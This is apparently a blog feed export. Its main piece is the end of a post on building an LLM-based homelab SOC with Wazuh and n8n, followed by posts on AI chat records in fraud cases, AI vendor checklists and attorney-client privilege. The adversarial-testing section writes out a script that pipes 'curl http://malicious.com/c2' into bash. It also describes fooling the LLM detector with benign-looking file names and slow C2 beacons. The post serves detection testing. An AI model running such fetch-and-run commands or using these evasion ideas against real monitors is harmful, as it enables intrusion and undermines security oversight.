<span class="nx">fs</span><span class="p">.</span><span class="nx">appendFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">/tmp/low-confidence-alerts.jsonl</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">logEntry</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">);</span>

<span class="k">return</span> <span class="p">{</span> <span class="na">logged</span><span class="p">:</span> <span class="kc">true</span> <span class="p">};</span>
</code></pre></div></div>

<h2 id="advanced-response-actions">Advanced Response Actions</h2>

<p>Beyond IP blocking, here are more sophisticated playbooks.</p>

<h3 id="kill-a-process-by-pid">Kill a Process by PID</h3>

<p>If the alert includes a malicious process:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"!kill"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"-9"</span><span class="p">,</span><span class="w"> </span><span class="s2">""</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="isolate-a-host">Isolate a Host</h3>

<p>Block all network traffic except to the Wazuh manager:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"firewall-drop"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"isolate"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This requires a custom Wazuh active response script on the agents. Example <code class="language-plaintext highlighter-rouge">/var/ossec/active-response/bin/isolate.sh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># Isolate host: block all traffic except to Wazuh manager</span>

<span class="nv">MANAGER_IP</span><span class="o">=</span><span class="s2">"192.168.1.11"</span>

<span class="k">case</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">in
  </span>add<span class="p">)</span>
    <span class="c"># Drop all outbound traffic except to manager</span>
    iptables <span class="nt">-I</span> OUTPUT <span class="nt">-d</span> <span class="nv">$MANAGER_IP</span> <span class="nt">-j</span> ACCEPT
    iptables <span class="nt">-I</span> OUTPUT <span class="nt">-j</span> DROP
    <span class="nb">echo</span> <span class="s2">"Host isolated. Only Wazuh manager reachable."</span>
    <span class="p">;;</span>
  delete<span class="p">)</span>
    <span class="c"># Remove isolation rules</span>
    iptables <span class="nt">-D</span> OUTPUT <span class="nt">-d</span> <span class="nv">$MANAGER_IP</span> <span class="nt">-j</span> ACCEPT
    iptables <span class="nt">-D</span> OUTPUT <span class="nt">-j</span> DROP
    <span class="nb">echo</span> <span class="s2">"Host isolation removed."</span>
    <span class="p">;;</span>
<span class="k">esac</span>
</code></pre></div></div>

<p>Register this script in <code class="language-plaintext highlighter-rouge">/var/ossec/etc/ossec.conf</code> on the manager:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;command&gt;</span>
  <span class="nt">&lt;name&gt;</span>isolate-host<span class="nt">&lt;/name&gt;</span>
  <span class="nt">&lt;executable&gt;</span>isolate.sh<span class="nt">&lt;/executable&gt;</span>
  <span class="nt">&lt;timeout_allowed&gt;</span>no<span class="nt">&lt;/timeout_allowed&gt;</span>
<span class="nt">&lt;/command&gt;</span>

<span class="nt">&lt;active-response&gt;</span>
  <span class="nt">&lt;command&gt;</span>isolate-host<span class="nt">&lt;/command&gt;</span>
  <span class="nt">&lt;location&gt;</span>local<span class="nt">&lt;/location&gt;</span>
  <span class="nt">&lt;level&gt;</span>12<span class="nt">&lt;/level&gt;</span>
<span class="nt">&lt;/active-response&gt;</span>
</code></pre></div></div>

<p>Now you can call it from n8n:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"isolate-host"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"arguments"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"add"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="quarantine-a-file">Quarantine a File</h3>

<p>If the alert flagged a suspicious file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># /var/ossec/active-response/bin/quarantine.sh</span>

<span class="nv">FILE_PATH</span><span class="o">=</span><span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>
<span class="nv">QUARANTINE_DIR</span><span class="o">=</span><span class="s2">"/var/ossec/quarantine"</span>

<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$QUARANTINE_DIR</span>
<span class="nb">mv</span> <span class="s2">"</span><span class="nv">$FILE_PATH</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$QUARANTINE_DIR</span><span class="s2">/</span><span class="si">$(</span><span class="nb">basename</span> <span class="nv">$FILE_PATH</span><span class="si">)</span><span class="s2">.</span><span class="si">$(</span><span class="nb">date</span> +%s<span class="si">)</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"File quarantined: </span><span class="nv">$FILE_PATH</span><span class="s2">"</span>
</code></pre></div></div>

<h2 id="adversarial-testing-can-we-fool-the-ai">Adversarial Testing: Can We Fool the AI?</h2>

<p>Here’s the uncomfortable question: <strong>What if an attacker knows you’re using an LLM for detection?</strong></p>

<h3 id="attack-vector-1-prompt-injection-via-process-names">Attack Vector 1: Prompt Injection via Process Names</h3>

<p>Imagine an attacker crafts a process name that includes text designed to confuse the model:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Malicious script named to look benign</span>
<span class="nb">cp</span> /tmp/malware.sh <span class="s2">"/tmp/definitely-benign-apt-update-totally-safe.sh"</span>
/tmp/definitely-benign-apt-update-totally-safe.sh
</code></pre></div></div>

<p><strong>Will the LLM see “apt-update” and classify it as benign?</strong></p>

<p>Test this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On a monitored host</span>
<span class="nb">echo</span> <span class="s1">'#!/bin/bash'</span> <span class="o">&gt;</span> /tmp/apt-update-security-patch.sh
<span class="nb">echo</span> <span class="s1">'curl http://malicious.com/c2 | bash'</span> <span class="o">&gt;&gt;</span> /tmp/apt-update-security-patch.sh
<span class="nb">chmod</span> +x /tmp/apt-update-security-patch.sh
/tmp/apt-update-security-patch.sh
</code></pre></div></div>

<p>Check n8n: what confidence score did the LLM assign?</p>

<table>
  <tbody>
    <tr>
      <td>If the model was fooled (confidence &lt; 70% despite the obvious curl</td>
      <td>bash pattern), your prompt needs hardening.</td>
    </tr>
  </tbody>
</table>

<p><strong>Fix:</strong> Add explicit anti-evasion rules in the system prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EVASION DETECTION:
- Ignore process/file names. Focus on behavior (command-line arguments, parent process, user context).
- Scripts with "benign" names (apt, update, security) executed from /tmp or by web server users are SUSPICIOUS.
- Base64 encoding, obfuscation, or unusual character sets are RED FLAGS.
</code></pre></div></div>

<h3 id="attack-vector-2-low-and-slow-c2">Attack Vector 2: Low-and-Slow C2</h3>

<p>An attacker uses a slow-drip C2 beacon (one DNS query per hour to a DGA domain) to avoid triggering volume-based alerts.</p>

<p><strong>Will the LLM detect a single DNS query to <code class="language-plaintext highlighter-rouge">xj3k2mz9pqla.ru</code> as malicious?</strong></p>

<p>The model needs threat intelligence context. Solutions:</p>

<ol>
  <li><strong>Enrich with VirusTotal/AbuseIPDB:</strong> Before sending to Ollama, check the domain/IP against threat intel APIs. If flagged, boost confidence.</li>
  <li><strong>Historical context:</strong> Include “this host has contacted 12 unique DGA-like domains in the past 24 hours” in the telemetry.</li>
</ol>

<h3 id="attack-vector-3-model-hallucination">Attack Vector 3: Model Hallucination</h3>

<p>The LLM might hallucinate a false positive.</p>

<p><strong>Example:</strong> A legitimate admin runs <code class="language-plaintext highlighter-rouge">wget https://github.com/user/tool.sh &amp;&amp; bash tool.sh</code></p>

<p>The model might classify this as malicious because “curl/wget piped to bash” is a common attack pattern—even though the source is GitHub.</p>

<p><strong>Mitigation:</strong> Whitelist known-good sources in the system prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>KNOWN-GOOD DOMAINS (benign unless other indicators):
- github.com
- githubusercontent.com
- pypi.org
- npmjs.com
- Official Linux package repositories (*.ubuntu.com, *.debian.org)
</code></pre></div></div>

<h2 id="the-feedback-loop-improving-the-model">The Feedback Loop: Improving the Model</h2>

<p>Your autonomous SOC will make mistakes. The key is learning from them.</p>

<h3 id="log-every-decision">Log Every Decision</h3>

<p>In n8n, add a <strong>Write File node</strong> that logs every LLM response to a JSONL file:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">logEntry</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">timestamp</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">().</span><span class="nx">toISOString</span><span class="p">(),</span>
  <span class="na">alert_id</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">original_alert</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span>
  <span class="na">verdict</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">verdict</span><span class="p">,</span>
  <span class="na">confidence</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">confidence_score</span><span class="p">,</span>
  <span class="na">action_taken</span><span class="p">:</span> <span class="nx">$json</span><span class="p">.</span><span class="nx">action_taken</span><span class="p">,</span>
  <span class="na">human_override</span><span class="p">:</span> <span class="kc">null</span> <span class="c1">// Populate this if a human changes the verdict</span>
<span class="p">};</span>

<span class="nx">fs</span><span class="p">.</span><span class="nx">appendFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">/var/log/ai-soc-decisions.jsonl</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">logEntry</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="weekly-review-ritual">Weekly Review Ritual</h3>

<p>Every week:</p>
<ol>
  <li>Filter for <code class="language-plaintext highlighter-rouge">confidence &lt; 80</code> (the uncertain cases)</li>
  <li>Manually review the alerts and the AI’s reasoning</li>
  <li>Identify patterns:
    <ul>
      <li><strong>False negatives:</strong> AI said benign, but it was actually malicious</li>
      <li><strong>False positives:</strong> AI said malicious, but it was benign</li>
    </ul>
  </li>
  <li>Update the system prompt or add few-shot examples</li>
</ol>

<h3 id="fine-tuning">Fine-Tuning</h3>

<p>If you’re seeing consistent misclassifications, consider fine-tuning a local model on your labeled data.</p>

<p>Tools:</p>
<ul>
  <li><strong>Ollama + LoRA adapters:</strong> Fine-tune Llama-3 on your homelab’s alert history</li>
  <li><strong>LlamaFactory:</strong> GUI for fine-tuning open-source models</li>
</ul>

<p>This is overkill, but if you’re processing 1,000+ alerts/day, it pays off.</p>

<h2 id="the-ethics-of-autonomous-response">The Ethics of Autonomous Response</h2>

<p>Let’s be blunt: <strong>Fully autonomous security actions can go catastrophically wrong.</strong></p>

<ul>
  <li>A misconfigured rule could isolate your entire network.</li>
  <li>A false positive could block a critical service.</li>
  <li>An adversary could trigger defensive actions as a DoS attack (e.g., flood fake alerts to exhaust your blocklist).</li>
</ul>

<p><strong>Guidelines for safe automation:</strong></p>

<ol>
  <li><strong>Always have a kill switch:</strong> A manual override to disable all active responses.</li>
  <li><strong>Rate-limit actions:</strong> Don’t block more than 10 IPs per hour without human review.</li>
  <li><strong>Log everything:</strong> Every automated action must be auditable.</li>
  <li><strong>Test in a sandbox:</strong> Before deploying to production (even homelab “production”), test playbooks on isolated VMs.</li>
</ol>

<p>In a corporate environment, I’d argue that <strong>autonomous blocking should be reserved for known-bad indicators only</strong> (e.g., IOCs from threat intel feeds). For ambiguous alerts (even at 95% confidence), human review is the responsible choice.</p>

<p>In your homelab? You’re the only casualty if it breaks. But the discipline of requiring high confidence thresholds will serve you well if you ever deploy this at work.</p>

<h2 id="conclusion-what-weve-built">Conclusion: What We’ve Built</h2>

<p>Over four posts, we’ve constructed an autonomous AI SOC that:</p>

<ol>
  <li><strong>Collects telemetry</strong> from endpoints via Wazuh agents</li>
  <li><strong>Filters noise</strong> using severity-based rules</li>
  <li><strong>Analyzes alerts</strong> with a local LLM (Llama-3 8B) running on Ollama</li>
  <li><strong>Outputs structured verdicts</strong> with confidence scores and reasoning</li>
  <li><strong>Routes responses</strong> based on confidence thresholds:
    <ul>
      <li>High confidence → Auto-block</li>
      <li>Medium confidence → Human approval</li>
      <li>Low confidence → Log and review</li>
    </ul>
  </li>
  <li><strong>Executes remote actions</strong> via the Wazuh API (block IPs, kill processes, isolate hosts)</li>
  <li><strong>Notifies humans</strong> via Telegram with context-rich alerts</li>
</ol>

<p><strong>What this is not:</strong></p>
<ul>
  <li>A replacement for commercial EDR (CrowdStrike, SentinelOne, etc.)</li>
  <li>A “set it and forget it” solution</li>
  <li>A magic bullet that catches every attack</li>
</ul>

<p><strong>What this is:</strong></p>
<ul>
  <li>A learning platform for detection engineering and AI safety</li>
  <li>A force multiplier for a solo SOC analyst (you)</li>
  <li>A demonstration that <strong>confidence scores are signal, not noise</strong></li>
</ul>

<h2 id="next-steps-where-to-go-from-here">Next Steps: Where to Go From Here</h2>

<p>If you’ve built this stack, here are some extensions:</p>

<ol>
  <li><strong>Add YARA scanning:</strong> Integrate YARA rules with Wazuh for file-based detection, send matches to the LLM for analysis.</li>
  <li><strong>Network traffic analysis:</strong> Deploy Zeek or Suricata, pipe alerts to n8n, analyze packet metadata with the LLM.</li>
  <li><strong>Threat hunting:</strong> Use the LLM proactively—feed it daily summaries of process trees, network connections, and file changes. Ask: “Do you see any anomalies?”</li>
  <li><strong>Red team it:</strong> Spin up a Kali VM on the same Proxmox host and try to evade detection. Can you craft payloads that fool the AI?</li>
</ol>

<h2 id="final-thoughts-the-confidence-score-as-a-philosophy">Final Thoughts: The Confidence Score as a Philosophy</h2>

<p>Most AI vendors hide model uncertainty because it’s bad for sales. “Our AI is 99% accurate!” sounds better than “Our AI outputs confidence scores, and you need a human to review anything below 90%.”</p>

<p>But in security, <strong>hiding uncertainty is catastrophic.</strong> A false negative (missed attack) because the model was 60% confident but you treated it as binary is a breach waiting to happen.</p>

<p>This series was about building a system that respects uncertainty. High confidence? Automate. Low confidence? Escalate. Always log the reasoning.</p>

<p>If you take one thing from these posts, let it be this: <strong>Don’t let vendors black-box your detections. Demand confidence scores. Threshold them. Act accordingly.</strong></p>

<hr />

<p><strong>Built your own autonomous SOC? Found a better way to handle uncertainty?</strong> I’m on <a href="https://www.linkedin.com/in/eran-goldman/">LinkedIn</a>. I’d love to hear about your stack, your false positive rate, and what the LLM hallucinated at 3 AM.</p>

<hr />

<h3 id="references">References</h3>

<ul>
  <li><a href="https://documentation.wazuh.com/current/user-manual/api/index.html">Wazuh API Documentation</a></li>
  <li><a href="https://documentation.wazuh.com/current/user-manual/capabilities/active-response/index.html">Wazuh Active Response</a></li>
  <li><a href="https://d3fend.mitre.org/">MITRE ATT&amp;CK Active Defense</a></li>
  <li><a href="https://learn.microsoft.com/en-us/security/engineering/failure-modes-in-machine-learning">Adversarial Machine Learning (Microsoft)</a></li>
  <li><a href="https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.telegram/">n8n Telegram Bot Integration</a></li>
</ul>]]></content><author><name>Eran Goldman-Malka</name></author><category term="Security" /><category term="Homelab" /><category term="AI" /><category term="SOC" /><category term="SOAR" /><category term="automation" /><category term="incident response" /><category term="AI safety" /><category term="detection engineering" /><summary type="html"><![CDATA[We’ve got an AI that analyzes security alerts and outputs confidence scores. Now comes the dangerous part: letting it take action. Here’s how to automate response without turning your homelab into a self-DoS machine.]]></summary></entry><entry><title type="html">AI in Fraud Cases: Your Chatbot History May Matter More Than Your Browser History</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/ai-in-fraud-cases/" rel="alternate" type="text/html" title="AI in Fraud Cases: Your Chatbot History May Matter More Than Your Browser History" /><published>2026-07-09T06:00:00+00:00</published><updated>2026-07-09T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/ai-in-fraud-cases</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/ai-in-fraud-cases/"><![CDATA[<p>Your chatbot history may matter more than your browser history in a fraud case.</p>

<!--more-->

<h2 id="the-case-search-warrant-for-chatgpt-records">The Case: Search Warrant for ChatGPT Records</h2>

<p>In June 2026, a federal judge in Manhattan allowed a search warrant targeting a business executive’s ChatGPT records in a securities fraud case. The executive, Richard Kim, was charged with defrauding investors in his crypto venture, Zero Edge, by allegedly gambling away $3.7 million in seed financing.</p>

<p>Prosecutors argued that Kim’s interactions with OpenAI’s ChatGPT—and other AI platforms—were likely to contain evidence of his alleged scheme, including how he researched the fraud, drafted misleading communications, or tried to cover his tracks.</p>

<p>Kim’s defense attorneys moved to quash the search warrant, arguing it was overbroad (it covered a period from October 2023 through May 2026, spanning months before the alleged crime and more than a year after his arrest) and that it would reveal privileged communications, as Kim had used ChatGPT for legal research.</p>

<p><strong>The court’s ruling:</strong> Judge Lorna Schofield rejected the motion to quash, holding that the challenge was premature because the warrant had not yet been executed. The court noted that defendants can challenge the admissibility of specific evidence <em>after</em> the government obtains it, but there is no general right to quash warrants pre-execution.</p>

<h2 id="what-this-means-ai-outputs-and-prompts-are-discoverable">What This Means: AI Outputs and Prompts Are Discoverable</h2>

<p>This case shows that <strong>AI prompts and outputs are treated like any other digital evidence</strong>. If prosecutors (or civil litigants) believe that your AI conversations contain evidence of wrongdoing, they can seek them—through search warrants, subpoenas, or discovery requests.</p>

<p><strong>Why this matters for boards and executives:</strong></p>

<ul>
  <li><strong>Retention and logging</strong>: AI platforms may retain your prompts and outputs for months or years. Even if you think you deleted them, the platform may still have them.</li>
  <li><strong>Scope of discovery</strong>: In white-collar investigations and civil fraud cases, prosecutors and plaintiffs routinely seek emails, texts, and Slack messages. Now, AI chat histories are on that list.</li>
  <li><strong>No automatic privilege</strong>: As the <em>Heppner</em> case (covered in prior posts) made clear, AI chats are not automatically privileged. If you use AI to research or draft, those records may be discoverable.</li>
</ul>

<h2 id="real-world-scenarios">Real-World Scenarios</h2>

<p>This is not hypothetical. Consider:</p>

<ul>
  <li><strong>A CFO uses ChatGPT to draft investor communications during a financing round.</strong> If those communications are later alleged to be misleading, the AI prompts may be evidence of intent.</li>
  <li><strong>An executive uses AI to research legal questions about insider trading.</strong> If the executive is later investigated, those prompts may be discoverable.</li>
  <li><strong>A compliance officer uses AI to summarize internal audit findings.</strong> In a regulatory investigation, those summaries may be requested.</li>
</ul>

<h2 id="what-boards-should-ask">What Boards Should Ask</h2>

<ol>
  <li><strong>Retention policy</strong>: Do we have a policy on how long AI platforms retain our data? Do we know what we can and cannot delete?</li>
  <li><strong>Logging and audit</strong>: Do we log AI use in high-risk areas (compliance, legal, finance) so we know what was created and by whom?</li>
  <li><strong>Training</strong>: Do our executives and legal teams understand that AI chats may be discoverable, and that they should use the same care they would with email or text?</li>
  <li><strong>Privilege protection</strong>: If we want AI use to be covered by privilege, are we using enterprise tools with confidentiality protections, and is the use directed by counsel?</li>
</ol>

<hr />

<p><strong>Want to discuss retention, logging, and internal AI governance?</strong> I deliver board-level courses and consult on AI legal risk and governance. <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>US Judge Allows Search Warrant Seeking Crypto Exec’s ChatGPT Records</strong> — Law.com — <a href="https://www.law.com/newyorklawjournal/2026/06/23/us-judge-allows-search-warrant-seeking-crypto-execs-chatgpt-records/">https://www.law.com/newyorklawjournal/2026/06/23/us-judge-allows-search-warrant-seeking-crypto-execs-chatgpt-records/</a></li>
  <li><strong>US Judge Allows Search Warrant Targeting Executive’s AI Chatbot Communications</strong> — The Law Reporters — <a href="https://thelawreporters.com/chatgpt-attorney-client-privilege-openai-search-warrant">https://thelawreporters.com/chatgpt-attorney-client-privilege-openai-search-warrant</a></li>
  <li><strong>United States v. Heppner, No. 1:25-cr-00503-JSR, Order (S.D.N.Y. Feb. 17, 2026)</strong> — U.S. District Court, Southern District of New York — <a href="https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf">https://jlellis.net/wp-content/uploads/2026/02/USA-v-Heppner-Order-2026-02-17-AI-Not-Privileged.pdf</a></li>
  <li><strong>United States v. Richard Kim, No. 1:25-cr-00359-LGS</strong> — U.S. District Court, Southern District of New York</li>
  <li><strong>Reuters: Judge allows US search warrant targeting executive’s AI chatbot records</strong> — Reuters (June 2026)</li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="AI" /><category term="securities fraud" /><category term="white-collar crime" /><category term="discovery" /><category term="ChatGPT" /><category term="legal risk" /><category term="search warrants" /><category term="digital evidence" /><summary type="html"><![CDATA[Your chatbot history may matter more than your browser history in a fraud case.]]></summary></entry><entry><title type="html">Evaluating AI Tools and Vendors: A Board-Level Checklist</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/evaluating-ai-tools-and-vendors-checklist/" rel="alternate" type="text/html" title="Evaluating AI Tools and Vendors: A Board-Level Checklist" /><published>2026-07-08T06:00:00+00:00</published><updated>2026-07-08T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/evaluating-ai-tools-and-vendors-checklist</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/evaluating-ai-tools-and-vendors-checklist/"><![CDATA[<p>AI vendor discussions are full of confident claims (“secure,” “enterprise-ready,” “no training on your data”). Boards should treat AI procurement like any other critical dependency: <strong>verify what matters, contract it, and monitor it.</strong></p>

<!--more-->

<h2 id="1-data-handling-the-non-negotiables">1) Data Handling (The Non-Negotiables)</h2>

<p>Ask the vendor:</p>

<ul>
  <li>What data is processed (inputs, outputs, logs, files, tool results)?</li>
  <li>Where is it processed and stored (regions, subprocessors)?</li>
  <li>What is the retention policy by plan/tier?</li>
  <li>Is customer content used for training by default, opt-in, or never?</li>
  <li>Can you enforce data minimization and redaction controls?</li>
</ul>

<p>If your AI workflows touch personal data, your organization still bears GDPR accountability—even if the model is a vendor service (<a href="https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng">GDPR</a>).</p>

<h2 id="2-security-controls-not-trust-me-show-me">2) Security Controls (Not “Trust Me,” Show Me)</h2>

<p>Ask for evidence of:</p>

<ul>
  <li>access controls, MFA, admin separation</li>
  <li>vulnerability management and disclosure process</li>
  <li>audit logs (what happened, who did it, when)</li>
  <li>tenant isolation (for multi-tenant offerings)</li>
  <li>incident notification timelines</li>
</ul>

<p>For LLM products, include LLM-specific risks like prompt injection, system prompt leakage, and excessive agency (<a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">OWASP LLM Top 10 2025</a>).</p>

<h2 id="3-governance-and-accountability">3) Governance and Accountability</h2>

<p>Boards should ask management to ensure each vendor relationship has:</p>

<ul>
  <li>a named internal accountable owner</li>
  <li>an approved scope of use (“allowed use”)</li>
  <li>periodic risk review and re-approval process</li>
  <li>a documented exit plan (data export, deletion, replacement)</li>
</ul>

<p>NIST AI RMF gives a practical way to structure this governance across the lifecycle (<a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI RMF</a>).</p>

<h2 id="4-transparency-what-will-you-be-able-to-prove">4) Transparency: What Will You Be Able to Prove?</h2>

<p>Ask:</p>

<ul>
  <li>Can we get logs and metrics suitable for audits?</li>
  <li>Can we reconstruct an incident (inputs, outputs, actions, sources) without guesswork?</li>
  <li>What changes without notice (models, safety policies, routing, retention)?</li>
  <li>How do you communicate changes and breaking behavior?</li>
</ul>

<h2 id="5-cost-and-runaway-spend-controls">5) Cost and “Runaway Spend” Controls</h2>

<p>For LLM and agentic systems, cost is a risk dimension:</p>

<ul>
  <li>rate limits and quotas</li>
  <li>budget caps per team/system</li>
  <li>alerts on spikes and anomalous usage</li>
  <li>safeguards against “unbounded consumption” (an OWASP risk category)</li>
</ul>

<h2 id="6-regulatory-alignment-practical-not-performative">6) Regulatory Alignment (Practical, Not Performative)</h2>

<p>Ask:</p>

<ul>
  <li>Do you support AI governance standards (e.g., ISO/IEC 42001 alignment)?</li>
  <li>If operating in the EU, how do you support EU AI Act obligations relevant to our role?</li>
  <li>Do you support customer AI literacy programs with role-based guidance (Article 4 expectations)?</li>
</ul>

<h2 id="red-flags-in-ai-marketing">Red Flags in AI Marketing</h2>

<p>Boards should treat these as “slow down and verify” signals:</p>

<ul>
  <li>“We’re compliant” with no scope definition or evidence</li>
  <li>“No training on your data” while retention/logging is unclear</li>
  <li>vague answers on subprocessors, regions, or incident response</li>
  <li>“It’s just a chatbot” while it has tool access or can trigger actions</li>
  <li>refusal to define accountability or provide auditability</li>
</ul>

<hr />

<p><strong>I consult with boards on technology vendor risk and deliver board-level courses on cyber, AI, and regulations—including practical vendor evaluation patterns and templates.</strong> <a href="https://goldmanmalka.com/about">Contact me</a>.</p>

<hr />

<h3 id="relevant-sources">Relevant Sources</h3>

<ol>
  <li><strong>AI Risk Management Framework (overview)</strong> — NIST — <a href="https://www.nist.gov/itl/ai-risk-management-framework">https://www.nist.gov/itl/ai-risk-management-framework</a></li>
  <li><strong>AI RMF 1.0 (NIST AI 100-1)</strong> — NIST — <a href="https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-ai-rmf-10">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-ai-rmf-10</a></li>
  <li><strong>OWASP Top 10 for LLM Applications 2025</strong> — OWASP — <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/</a></li>
  <li><strong>ISO/IEC 42001 explained (AI management systems)</strong> — ISO — <a href="https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html">https://www.iso.org/cms/%20render/live/en/sites/isoorg/home/insights-news/resources/iso-42001-explained-what-it-is.html</a></li>
  <li><strong>GDPR (Regulation (EU) 2016/679)</strong> — EUR-Lex — <a href="https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng">https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng</a></li>
  <li><strong>EU AI Act Article 4: AI literacy</strong> — EU AI Act Service Desk — <a href="https://ai-act-service-desk.ec.europa.eu/en/ai-act/article-4">https://ai-act-service-desk.ec.europa.eu/en/ai-act/article-4</a></li>
</ol>]]></content><author><name>Eran Goldman-Malka</name></author><category term="AI" /><category term="Boards" /><category term="vendor risk" /><category term="due diligence" /><category term="procurement" /><category term="AI governance" /><category term="data protection" /><category term="cybersecurity" /><category term="contracts" /><summary type="html"><![CDATA[AI vendor discussions are full of confident claims (“secure,” “enterprise-ready,” “no training on your data”). Boards should treat AI procurement like any other critical dependency: verify what matters, contract it, and monitor it.]]></summary></entry><entry><title type="html">The Privilege Problem: Why AI Chats Are Not Automatically Protected</title><link href="https://goldmanmalka.com/https://goldmanmalka.com/the-privilege-problem/" rel="alternate" type="text/html" title="The Privilege Problem: Why AI Chats Are Not Automatically Protected" /><published>2026-07-07T06:00:00+00:00</published><updated>2026-07-07T06:00:00+00:00</updated><id>https://goldmanmalka.com/https://goldmanmalka.com/the-privilege-problem</id><content type="html" xml:base="https://goldmanmalka.com/https://goldmanmalka.com/the-privilege-problem/"><![CDATA[<p>If the AI is a third party, the privilege analysis changes fast.</p>

<!--more-->

<h2 id="the-case-united-states-v-heppner">The Case: <em>United States v. Heppner</em></h2>

<p>In February 2026, Judge Jed S. Rakoff of the U.S. District Court for the Southern District of New York ruled that a criminal defendant’s interactions with the AI platform Claude were <strong>not protected by attorney-client privilege or the work-product doctrine</strong>.</p>

<p><strong>What happened:</strong> Bradley Heppner, a financial services executive charged with securities fraud, used Claude to research legal questions after receiving a grand jury subpoena. He fed information he had learned from his defense counsel into the AI tool, generated 31 documents of prompts and responses, and later transmitted those documents to his lawyers. When the FBI seized the documents, his attorneys asserted privilege. The government moved to compel production. The court sided with the government.</p>

<p><strong>Why the privilege failed:</strong></p>

<ol>
  <li><strong>Claude is not an attorney.</strong> Communications between two non-lawyers about legal issues are not privileged.</li>
  <li><strong>The communications were not confidential.</strong> The platform’s privacy policy explicitly stated that user inputs and outputs could be used to train Claude’s AI model and shared with third parties. Disclosure to a third-party AI platform is functionally the same as sharing the information with any other third party—privilege is lost.</li>
  <li><strong>Heppner acted on his own initiative.</strong> His defense counsel did not direct him to use the tool. The court noted that even if Heppner later shared the AI outputs with counsel, that does not retroactively create privilege.</li>
</ol>

<h2 id="the-key-principle-third-party-disclosure-kills-privilege">The Key Principle: Third-Party Disclosure Kills Privilege</h2>

